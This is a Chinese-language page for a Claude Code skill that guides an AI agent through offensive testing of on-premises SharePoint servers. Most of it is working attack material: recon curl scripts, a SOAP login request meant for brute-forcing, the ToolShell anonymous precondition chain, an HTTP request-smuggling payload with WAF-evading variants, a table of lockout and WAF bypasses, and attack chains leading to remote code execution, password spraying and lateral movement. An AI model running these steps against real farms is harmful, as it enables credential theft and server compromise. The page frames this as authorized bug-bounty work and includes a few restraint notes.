关于 hunt-sharepoint
hunt-sharepoint 是用于调查本地部署 SharePoint Server 的安全测试技能,指导研究人员识别版本、检查匿名端点和旧式认证路径,并避免将错误响应误判为漏洞。
主要功能
- 01识别 SharePoint 版本
- 02检查匿名端点
- 03测试旧式 SOAP 登录
- 04检查 ToolShell 前置条件
- 05排除 SSRF 误报
适用场景
- 01评估面向互联网的 SharePoint 场
- 02检查匿名访问与登录路径
- 03审查特定版本的暴露风险
- 04验证疑似 SSRF 问题
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-sharepoint安装后在 Claude Code 中输入/hunt-sharepoint确认已加载。
详细介绍
高价值目标
SharePoint Server(本地部署)是 2025—2026 年漏洞赏金 / 红队工作中最丰富的企业攻击面之一。三股力量交汇于此:
- 已停止支持、未打补丁的代码路径。 SharePoint Server 2013 于 2023-04-11 结束延长支持(最终版本
15.0.5545.1000/ KB5002381)。此后发布的每个 SharePoint CVE,在 SP2013 场中都永久无法修补。SP2016 将于 2026-07-14 结束支持;SP2019 将于 2026-07-14 结束支持(截至 2026 年 5 月,也就是未来 2 个月);目前只有 SP Subscription Edition 仍处于主动支持期。 - CVE-2025-53770 / 53771“ToolShell”——2025 年 7 月针对 SPE / SP2019 / SP2016 的紧急带外补丁链。存在漏洞的代码路径(匿名访问
/_layouts/15/ToolPane.aspx?DisplayMode=Edit+ 匿名__REQUESTDIGEST+ 未加密的 ViewState)在 SP2013 中同样存在,且永远不会获得修复。 - 自定义品牌登录页会遗漏旧版 SOAP 登录。
/_vti_bin/Authentication.asmx中的LoginSOAP 操作,相当于 WordPress 的 XMLRPC 绕过——可匿名接受原生 Forms 凭据;大多数场中都没有速率限制,即使品牌 UI 设置了锁定机制也是如此。
价值最高的 SharePoint 目标:
- 仍可通过公共互联网访问的 SP2013 场——自 2023 年 4 月起的每个 CVE 都未修补。可提交严重级别的发现。
- 基于 SharePoint 构建的经销商 / 合作伙伴 / 供应商门户(例如德国 VW 集团、某企业系统集成商等)——包含影响重大的业务数据,且常嵌套于企业 AD 树中。
- 启用了匿名 Forms 身份验证区域的 SharePoint 场——Authentication.asmx 可被匿名暴力破解。
- 位于企业 AD 父林中的 SharePoint——NTLM Type-2 泄漏(参见
hunt-ntlm-info)会泄露父林成员信息。 - 集成了 Telerik 的 SharePoint 安装——除了 SP 自身的反序列化入口外,还存在额外入口。
**回报最高的资产类型:**可从互联网访问的 SP Server(任何版本)> 带有自定义解决方案挂钩的 SP Online > 仅在攻陷 VPN 后才能访问的内网 SP。
攻击面信号
响应头指纹(出现任意一项即可——通常会同时出现多项):
SPRequestGuid: <GUID> (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly (SharePoint web request)
X-SharePointHealthScore: 0 (SharePoint specific)
SPIisLatency: <ms> (SharePoint internal timing)
SPRequestDuration: <ms> (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0 (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL> (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL> (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied... (WebDAV extension active)
DAV: 1, 2 (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=... (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=... (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=... (SharePoint UI mode)
URL / 路径指纹:
/_layouts/15/ (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/ (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/ (some SP2019 / SPE)
/_vti_bin/ (FrontPage-RPC + SOAP services)
/_vti_pvt/ (FrontPage-RPC config — usually 403)
/_vti_inf.html (almost always anonymous; contains FPVersion banner)
/_api/ (modern REST API)
/_api/$metadata (OData metadata — often anonymous + large)
/_api/contextinfo (FormDigest issuer — POST only)
/_catalogs/ (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx (user list — usually 403)
/_layouts/15/start.aspx (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx (people/list picker — SafeControl recon)
/_layouts/15/download.aspx (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx (logout)
/_layouts/15/error.aspx (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core (resource bundle leak)
/_layouts/15/<Customer>/ (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx (often anon-readable)
/_vti_bin/lists.asmx (auth-required on hardened farms)
/_vti_bin/sites.asmx (auth-required on hardened farms)
/_vti_bin/sts/ (Security Token Service — usually 302 to error)
/sites/<name>/ (site collections)
/personal/<user>/ (MySite / OneDrive-for-Business)
正文信号(HTML 响应中):
<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/..."); (Script-on-demand registration)
var g_initUrl=''; (start.aspx MDS state)
__REQUESTDIGEST (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED="" (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX" (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low: (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting (anonymous error.aspx body)
技术栈信号:
Server: Microsoft-IIS/10.0+ 以/_layouts/15/开头的路径 → SharePoint 2013/2016/2019/SE- SharePoint 前置 AWS ELB / ALB → 可能存在跨节点 ViewState MAC 问题(参见 hunt-aspnet)
/_api/web/CurrentUser上的WWW-Authenticate: NTLM→ 双重身份验证(Forms + NTLM);使用hunt-ntlm-info获取 AD 拓扑信息*.test.<customer>.tld→ 生产 SharePoint 的测试 / 预发布镜像;其中的数据通常与生产环境同步
逐步狩猎方法
-
识别 SharePoint 版本。 可通过多个路径匿名获取版本号。立即将结果与 CVE 矩阵对应。
# Method 1: _vti_inf.html (always anonymous, always present) curl -sk "https://target.example/_vti_inf.html" # → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE) # Method 2: _api/contextinfo POST (anonymous on most farms) curl -sk -X POST "https://target.example/_api/contextinfo" \ -H "Accept: application/json;odata=verbose" \ | jq -r '.d.GetContextWebInformation.LibraryVersion' # → "15.0.5545.1000" (full build number) # Method 3: /_layouts/15/start.aspx body curl -sk "https://target.example/_layouts/15/start.aspx" \ | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"与 CVE 矩阵对应:
版本 版本类型 状态 EoL 后仍未修补的显著 CVE 15.0.5545.1000SP2013 最终 CU EoL 2023-04-11 CVE-2023-29357、CVE-2023-33160/33157/36941、CVE-2024-21318/30043/38023/38024/38094、CVE-2025-53770/53771、CVE-2025-29794 16.0.10416.xSP2016 EoL 2026-07-14 取决于补丁级别 16.0.10417.x+SP2019 / SE 仍受支持 查看 Microsoft 每月的 Patch Tuesday -
探测匿名端点矩阵。 一次性遍历下表中的所有端点。任何可匿名访问的端点都可能成为攻击链的一环。
/_vti_inf.html → version disclosure /_layouts/15/start.aspx → version disclosure + session minting /_layouts/15/blank.htm → benign anchor for smuggling probes /_layouts/15/error.aspx → request-validator behaviour probe /_layouts/15/Authenticate.aspx?Source= → redirect-chain behaviour /_layouts/15/AccessDenied.aspx?Source= → redirect-chain behaviour /_layouts/15/SignOut.aspx → logout — anonymous OK /_layouts/15/closeConnection.aspx → anonymous OK /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res → 35KB localised strings /_layouts/15/scriptresx.ashx?culture=en-us&name=core → 277KB localised strings /_layouts/15/ToolPane.aspx?DisplayMode=Edit → ToolShell precondition (THIS IS THE BIG ONE) /_layouts/15/Picker.aspx → SafeControl recon (see step 6) /_layouts/15/<CustomerName>/pages/login/customlogin.aspx → custom Forms login (replace `<CustomerName>` with target's customer name) /_vti_bin/Authentication.asmx → legacy SOAP login — anonymous brute-force (CRITICAL) /_vti_bin/Authentication.asmx?WSDL → WSDL — confirms Login + Mode ops /_vti_bin/SharedAccess.asmx → often anonymous /_vti_bin/spsdisco.aspx → SP service discovery /_api/contextinfo (POST) → anonymous FormDigest mint (HIGH) /_api/$metadata → 381KB API surface enumeration /_api/Search → search service descriptor /_api/web/CurrentUser → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info) -
通过 Authentication.asmx 绕过旧版 SOAP 登录。 对照
hunt-auth-bypass中的 Legacy-Protocol Matrix。标准探测方式:# First: confirm Mode = Forms (else this attack vector is N/A) curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \ -H "Content-Type: text/xml; charset=utf-8" \ -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \ -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>' # → <ModeResult>Forms</ModeResult> ← target is exploitable # → <ModeResult>Windows</ModeResult> ← target uses Windows auth only; this vector N/A # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY) # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface**严重程度:**匿名访问 + 无速率限制 + 无锁定机制时为严重。即使尚未证明身份验证成功,也应提交漏洞赏金报告——漏洞在于无上限的凭据验证,而不是“我破解了某个凭据”。
-
探测 ToolShell 前置条件链(CVE-2025-53770 类)。包括三个子请求:
# Sub-step a: anonymous GET on ToolPane.aspx curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" # Body should contain: __REQUESTDIGEST="0x...,..." AND __VIEWSTATEENCRYPTED="" # If both: precondition stack is anonymous-reachable. # Sub-step b: anonymous POST to /_api/contextinfo curl -sk -X POST "https://target.example/_api/contextinfo" \ -H "Accept: application/json;odata=verbose" \ | jq -r '.d.GetContextWebInformation.FormDigestValue' # Should return a valid digest with 1800s validity. # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \ -H "X-RequestDigest: <digest from step b>" \ --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.**严重性:**对于已结束生命周期的 SP2013,为严重(永远不会发布补丁)。对于 SP2016/2019/SE,若
__VIEWSTATEENCRYPTED非空,则为高(加密 ViewState 可缓解反序列化攻击路径,但前置条件仍提示存在配置错误)。**重要:**切勿实际发送恶意 ViewState 负载。前置条件链已足以作为报告证据。在真实的 CVE-2025-53770 攻击链中,恢复 machineKey 并非实现 RCE 的前置条件:身份验证绕过(CVE-2025-49706,通过精心构造的 Referer 访问 ToolPane.aspx)加上不安全反序列化(CVE-2025-49704),即可在不了解 machineKey 的情况下获得初始 Web shell。随后,Web shell 会导出
<machineKey>(ValidationKey/DecryptionKey),并用它伪造签名的__VIEWSTATE,以实现持久化/未授权的再次利用。因此,machineKey 是首次 RCE 后获取的战利品,也是持久化攻击路径的一部分,而不是攻击前置门槛——不要仅因未知 machineKey,就低估存在可利用漏洞的场。 -
**NTLM Type-2 AD 拓扑信息泄露。**完整方法请参阅
hunt-ntlm-info。快速检查:# Use Burp send_http1_request with keep-alive, or Python raw socket # Anonymous Type-1 with NetBIOS-info request flag: # Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw== # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name**严重性:**与互联网暴露及默认
WIN-XXXXXXXXXXX主机名结合时为中等;否则为信息级。 -
**通过 Picker.aspx 枚举 SafeControl。**Picker.aspx 会根据类是否存在,返回两种不同的错误状态:
- 类型存在但未列入白名单:
"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." - 类型不存在:
"Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."
将
Microsoft.SharePoint.*.WebControls.*和Microsoft.SharePoint.WebPartPages.*类型的字典输入其中,以枚举可访问的类。该列表本身可用于探查 CVE-2019-0604 系列攻击链。for cls in \ "Microsoft.SharePoint.WebControls.PeopleEditor" \ "Microsoft.SharePoint.WebControls.ItemPicker" \ "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \ ; do curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \ | grep -oE "<title>[^<]+</title>" done - 类型存在但未列入白名单:
-
**
download.aspx并非出站 SSRF——识别这一点,别浪费时间。**SP 的/_layouts/15/download.aspx?SourceUrl=是 SP 内部路径解析器,而不是通用 URL 抓取器。其行为如下:- 外部 URL(
http://evil.example.com/x)→ 返回 500,并显示"The Web application at <URL> could not be found"——服务器尝试将其解析为 SP Web 应用,并未抓取内容。 - 同源文件 URL → 返回 500,并显示
"<nativehr>0x81070211</nativehr>...Cannot open file '<path>'"——服务器尝试调用 SPFile.OpenBinary,但文件不存在。 - 与扩展名阻止列表匹配的文件(
.ashx、.asmx、.svc、.config)→ 无论文件是否存在,均返回 500,并显示"file blocked from this Web site by the server administrators"。 file://、UNC 路径、gopher://等 → 返回 500,并显示"Value does not fall within the expected range"——URL scheme 验证器会拒绝这些输入。
**错误消息中回显 URL 并不能确认存在 SSRF。**提出 SSRF 声明前,请通过 Burp Collaborator OOB 确认。(另请参阅
hunt-ssrf中的 OOB-Or-It-Didn't-Happen Gate。)在一次经授权的测试中已验证为阴性:对 12 个以上接受 URL 的 SP 参数发送了 38 个带 Collaborator 标签的负载,未收到任何回调。扩展名阻止列表看起来也像是“文件存在性 oracle”(已存在与不存在的文件会返回不同响应),但实际上它只是 SP 的文件扩展名策略。不要根据阻止列表响应推断文件是否存在。
- 外部 URL(
-
**自定义品牌模块枚举。**客户定制的 SP 安装几乎总会有
/_layouts/15/<CustomerName>/目录树。可从登录 URL 中获取名称(例如,/_layouts/15/<CustomerName>/pages/login/customlogin.aspx→ 客户名称为<CustomerName>)。然后进行探测:for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \ "https://target.example/_layouts/15/CustomerName/$sub/" # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid doneJS bundle 通常包含硬编码的端点 URL、隐藏路由和内部 API 路径。请使用正确的
Referer标头逐个获取(有些资源需要通过 Referer 验证)。 -
**搜索服务探测。**匿名访问
/_api/Search会返回一个简短的 JSON 描述符。若搜索服务应用程序未运行,访问/_api/search/query?querytext='X'会返回带堆栈跟踪的 500 响应——这有助于披露基础设施信息,但本身不能直接利用。 -
登录后需认证的界面(如果你拥有有效凭据):
/_api/web/Lists— 枚举列表/_api/web/SiteUsers— 枚举用户/_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files— 枚举文件/_layouts/15/people.aspx— 用户列表- 自定义客户品牌模块 — 检查 IDOR 和业务逻辑
- 工作流服务(
/_api/SP.WorkflowServices.*)
载荷与检测模式
Authentication.asmx 登录(标准暴力破解端点):
POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
<username>USERNAME</username>
<password>PASSWORD</password>
</Login>
</soap:Body>
</soap:Envelope>
响应代码:
<ErrorCode>NoError</ErrorCode>→ 认证成功;随后返回<CookieName>FedAuth</CookieName>和<TimeoutSeconds>...</TimeoutSeconds><ErrorCode>PasswordNotMatch</ErrorCode>→ 认证失败(不存在的用户也会得到相同响应,因此不会通过错误字符串泄露用户枚举信息)- 500 +
<faultstring>Value cannot be null. Parameter name: userName</faultstring>→ 用户名为空
复现 ToolShell 前置条件:
# Step 1: anon GET ToolPane.aspx
TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
# If value="" → precondition
# Step 2: anon FormDigest
DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.FormDigestValue')
echo "Digest: ${DIGEST:0:40}..."
# Step 3: anon POST ToolPane with digest
curl -sk -X POST -H "X-RequestDigest: $DIGEST" \
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
-w "\ncode=%{http_code} size=%{size_download}\n"
AWS ELB + SP IIS 后端上的 HTTP TE.CL 请求走私(AWS ELB 后方的 SP 场均会稳定出现):
POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15
x=1
0
预期后端挂起约 12 秒,基准值约为 0.16 秒(5 次试验结果一致)。混淆变体(Transfer-Encoding : chunked、transfer-encoding: chunked、尾随空格、混合大小写)会导致类似的约 6 秒挂起。
Picker.aspx SafeControl 侦察:
curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
| grep -oE "<title>[^<]+</title>"
# "Only PickerDialog types..." = exists, not whitelisted
# "Could not load type..." = does not exist
常见根本原因
-
/_vti_bin/Authentication.asmx在面向公共区域的 IIS 绑定上仍处于启用状态。 SharePoint 管理员在自定义登录界面上启用表单身份验证,却没有意识到旧版 SOAP Login 端点仍可独立访问。 -
布局页面上的
viewStateEncryption="Auto"。 对于不包含敏感表单字段的页面,SharePoint 的默认 ViewState 模式只进行签名。ToolPane.aspx 等页面的__VIEWSTATEENCRYPTED="",如果 machineKey 泄露,就可能被利用。 -
允许匿名 POST 访问
/_api/contextinfo。 SharePoint Online 和 SPE 2024-07+ 要求访问 contextinfo 时必须通过身份验证。较早版本和大多数 SP2013 场允许匿名 POST → 返回有效期为 1800 秒的 FormDigest 令牌。这是 ToolShell 的第二个前置条件。 -
面向公共区域的 IIS 绑定启用了 NTLM。 默认的双重身份验证(表单身份验证 + NTLM)会使匿名互联网用户也能使用 NTLM Negotiate。Type-2 挑战会泄露 AD 拓扑。
-
已过 EoL 的 SP2013 场仍暴露于互联网。 Microsoft 扩展支持已于 2023-04-11 结束。2023 年 4 月之后发布的所有 SharePoint CVE 都不会获得修补。在企业集成商场景中很常见(系统集成商位于企业母公司的 AD 内、由 SI 管理的经销商门户)。
-
将 web.config 中的
<SafeControl>白名单视为唯一防护措施。 Picker.aspx 会执行instanceof PickerDialog检查,已修补原始 CVE-2019-0604 攻击路径,但 Picker.aspx 的错误差异仍会导致底层 SafeControl 模型可被匿名枚举。 -
AWS ELB + SP IIS 未显式规范化 Transfer-Encoding。 ELB 默认会将
Transfer-Encoding转发到后端 IIS;当两者同时存在时,IIS 对Content-Length的处理方式会导致与 ELB 脱节。多种 TE 混淆变体可绕过简单的 WAF 规则。 -
默认 Windows 安装程序主机名(
WIN-XXXXXXXXXXX)从未更改。 这是匆忙部署的信号;与 SQL 后端默认服务帐户密码、管理中心默认场帐户密码等情况相关。 -
自定义品牌模块(
/_layouts/15/<Customer>/)的 JS 包使用?v=YYYYMMDD查询字符串。 查询字符串会显示最后修改日期,可用于判断“此应用仍在积极维护”还是“此应用已被弃用”。 -
AWS ELB 未将会话亲和性固定到单个 WFE 时,会发生跨节点 ViewState MAC 验证失败。 从运行角度看,这会导致用户每次 POST 都收到 500 错误;从安全角度看,错误消息会泄露场拓扑结构。
绕过技术
| 防御措施 | 绕过/侦察策略 |
|---|---|
带有品牌标识的 customlogin.aspx,并启用锁定/CAPTCHA/MFA | /_vti_bin/Authentication.asmx 旧版 SOAP——这些保护措施均不适用 |
WWW-Authenticate: NTLM 要求调用方通过身份验证 | 默认 IIS extendedProtection=None 允许匿名获取 Type-2 challenge——参见 hunt-ntlm-info |
ELB 删除了 MicrosoftSharePointTeamServices 标头 | /_layouts/15/start.aspx 的正文仍会泄露版本;/_api/contextinfo 的 LibraryVersion 也会 |
/_vti_bin/lists.asmx 返回 403(SharedAccess.asmx / Authentication.asmx 仍开放) | 不同服务的 ACL 各不相同;应分别枚举所有 asmx |
/_api/web/CurrentUser 返回带堆栈跟踪的 JSON 401 | 即使在拒绝身份验证的响应中,堆栈跟踪也会泄露信息;可结合版本泄露利用 |
发放匿名 __REQUESTDIGEST(ToolShell 前置条件) | 配合匿名 ToolPane POST 和未加密的 ViewState;反序列化入口无需 machineKey 即可实现 RCE——随后 shell 会转储 machineKey,以便持续重新利用 |
| 已设置自定义错误页面 | 触发不同代码路径(类似 XML 的 ViewState → 双解析器错误差异——参见 hunt-aspnet) |
WAF 会拦截查询中的 < | 将载荷移至 Cookie / Referer / SOAP 正文——请求验证器不会检查这些上下文 |
通过 SafeControl 补丁拦截了 Microsoft.SharePoint.WebPartPages.DataFormWebPart | 枚举 SafeControl 列表;寻找可绕过继承门禁的子类 |
| HTTP/2 H2.CL 请求走私 | AWS ALB 通常不会公布 h2 ALPN——通过 openssl s_client -alpn h2,http/1.1 尽早排除这类问题 |
Authenticate.aspx 将 Source= 包装在 ReturnUrl 中 | 使用有效凭据测试身份验证后的行为;身份验证前的调用链会安全地包装所有内容 |
Gate 0 验证
撰写报告前:
-
攻击者现在能做什么?
- Authentication.asmx 匿名开放且没有速率限制 → 严重(可无限次验证凭据;密码喷洒 + 来自 NTLM 的 UPN 格式 = 端到端 ATO 路径)
- 完整的 ToolShell 前置条件链(匿名 GET + 匿名 FormDigest + 匿名 POST + 未加密 VS)+ 已终止支持的 SP2013 → 严重(可通过有充分文档记录的公开利用链实现 RCE,不会再发布补丁)
- NTLM Type-2 泄露 AD 拓扑信息 + 默认 Windows 主机名 → 中等
- 仅 SP2013 已终止支持 → 中低(合规/安全卫生问题;漏洞赏金计划的标准各不相同——有些接受,许多会拒绝)
download.aspx回显 URL,但未确认 Collaborator 回连 → 不属于 SSRF——撤回
-
你是否已复现完整攻击链,达到攻击者可实现的影响?
- 对于 Authentication.asmx:进行 10 次突发测试并确保时序一致,即足以证明没有速率限制。不要实际破解凭据。
- 对于 ToolShell:前置条件链(步骤 a+b+c)即已足够。不要发送恶意载荷。
- 对于 NTLM:解码 AV-pair 并显示 AD 拓扑字段,即已足够。
-
你能否从干净的 shell 在 <10 分钟内复现?
- Authentication.asmx:2 条 curl 命令。
- ToolShell 前置条件:3 条 curl 命令。
- NTLM Type-2:1 段 Python 代码片段(AV-pair 解码器)。
真实影响示例
场景 A — 针对已停止生命周期的本地 SharePoint 场的授权测试
目标:https://target-portal.example/ — SharePoint Server 2013 构建版本 15.0.5545.1000(KB5002381 / 2023 年 4 月最终 EoL CU)。租户 = 企业全球 AD(customer.parent-corp.example)内的系统集成商租户(瑞士 进口商)。服务器主机名 WIN-XXXXXXXXXXX(Windows 安装程序默认模式)。
共发现 11 个问题:3 个严重、2 个中危、6 个低危/信息类。三个严重问题:
- Authentication.asmx 匿名凭据暴力破解 — 10 次突发测试显示,响应时间稳定在 0.6-0.9 秒,且没有速率限制、账户锁定、验证码或 MFA 挑战。响应内容均为 431 字节。
- HTTP 请求走私 TE.CL — 5/5 次试验均显示后端挂起 12.18 秒,基准为 0.16 秒。另有 4 种混淆变体(冒号前有空格、尾随空格、小写、大小写混合)均导致 6.16 秒挂起 — 每种都能绕过简单的 WAF 规则。
- ToolShell 前置条件链 — 匿名 GET 请求访问 ToolPane.aspx(200)+ 匿名 POST 请求访问
/_api/contextinfo(200,返回有效 FormDigest)+ 携带摘要的匿名 POST 请求访问 ToolPane.aspx(200,没有身份验证挑战)+__VIEWSTATEENCRYPTED=""。这是针对已停止生命周期的 SP2013 的永久零日漏洞。
另有中危问题:NTLM Type-2 泄露完整 AD 拓扑(customer.parent-corp.example、WIN-XXXXXXXXXXX);SP2013 生命周期终止风险。
场景 B — 正确判定 /_layouts/15/download.aspx?SourceUrl= 不属于 SSRF(节省时间示例)
同一目标。初始扫描将 download.aspx?SourceUrl=http://oob.example.com/ 标记为 SSRF,因为服务器在 500 错误标题中回显了该 URL("The Web application at http://oob.example.com/ could not be found")。针对 12 个以上接受 URL 的 SP 参数发送了 38 个带 Collaborator 标记的载荷 → 未触发任何 DNS/HTTP 回调。结论:download.aspx 是 SP 内部的 SPWebApplication / SPFile 解析器,不是通用 URL 获取器。此处的“回显”是服务器端错误字符串格式化的结果。遵循 hunt-ssrf 的 OOB-Or-It-Didn't-Happen Gate,避免报告一个不适用的问题。
场景 C — 通过 Picker.aspx 验证 CVE-2019-0604 补丁
同一目标。向 Picker.aspx 传入 Microsoft.SharePoint.WebPartPages.DataFormWebPart(CVE-2019-0604 的典型反序列化利用 Gadget)后,返回 "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." — 这意味着该类型确实存在,且可通过反射访问,但对话框框架通过 instanceof PickerDialog 检查正确拒绝了它。原始 CVE-2019-0604 攻击向量的补丁确实已生效。类型存在性枚举本身可用于侦察,以发现任何不经过继承关系检查的未来 CVE-2019-0604 系列攻击链。
交叉引用
- Authentication.asmx 旧式 SOAP 登录 → 参见
hunt-auth-bypass中的旧协议矩阵,了解与 WordPress-XMLRPC 等效的模式。 - NTLM Type-2 AD 拓扑泄露 → 参见
hunt-ntlm-info,了解 AV 对解码器 + 严重性分级标准。 - ViewState 双解析器反模式、machineKey 恢复、请求验证绕过 → 参见
hunt-aspnet。 - AWS ELB + IIS 上的 HTTP 请求走私 → 参见
hunt-http-smuggling。 - 确认 SP 上的任何 SSRF 声明 → 参见
hunt-ssrf的 OOB-Or-It-Didn't-Happen Gate。 - 将卫生类问题作为漏洞赏金提交前确认测试类型 → 参见
bb-methodology的 PART 0 模式确认 Gate。
相关技能与攻击链
hunt-auth-bypass— 配置不当的场中,旧版 SOAP/_vti_bin/Authentication.asmx接受匿名 Login 调用。攻击链原语:SharePoint 匿名 SOAP 登录探测 → 如果响应返回 Cookie 或出现成功响应差异 → 使用hunt-auth-bypass暴力破解矩阵(通过计时枚举用户名,并针对同一个绕过 ADFS 层锁定的 SOAP 端点,以低频方式喷洒密码)→ 获取有效凭据 → 访问/_layouts/15/身份验证后界面。hunt-ntlm-info— 每个 SharePoint 场都会在/_vti_bin/上向匿名用户公布WWW-Authenticate: NTLM。攻击链原语:捕获 SharePoint NTLM Type-2 挑战 →hunt-ntlm-info解码 AV_PAIR,获取 NetBIOS 域、内部 DNS 林和 DC 主机名 → 将域提供给m365-entra-attack,在与该域关联的租户上通过 ROPC 喷洒枚举用户。hunt-aspnet— SharePoint 底层使用 ASP.NET Webforms;ViewState、machineKey 和 SafeControl 反射均适用。攻击链原语:披露 SharePoint 版本 → 确认缺少相应补丁 →hunt-aspnet对 ViewState 执行双解析器 MAC 绕过 → 反序列化 gadget → 以场账户身份在w3wp.exe中实现 RCE。hunt-rce— ToolShell 前置条件链(CVE-2025-53770)是当前影响重大的 SP RCE 路径。攻击链原语:满足 ToolShell 前置条件(通过 CVE-2025-49706 身份验证绕过可访问/_layouts/15/ToolPane.aspx?DisplayMode=Edit——构造指向 ToolPane.aspx 的Referer标头——且版本存在漏洞)→ 使用hunt-rce反序列化 gadget 链 → 获取 SYSTEM/场账户 Shell → 通过被盗的本地服务账户令牌横向移动至 Entra 同步身份,使用m365-entra-attack。triage-validation— SharePoint 场会产生大量“看起来像发现”的卫生噪声(FormDigest 签发、版本披露、扩展名阻止列表异常)。攻击链原语:报告前,使用 7-Question Gate 检查每项 SP 发现——大多数仅涉及版本披露的发现,若没有配套的 CVE PoC,在“这在此场中是否真的可利用”这一关就会被排除。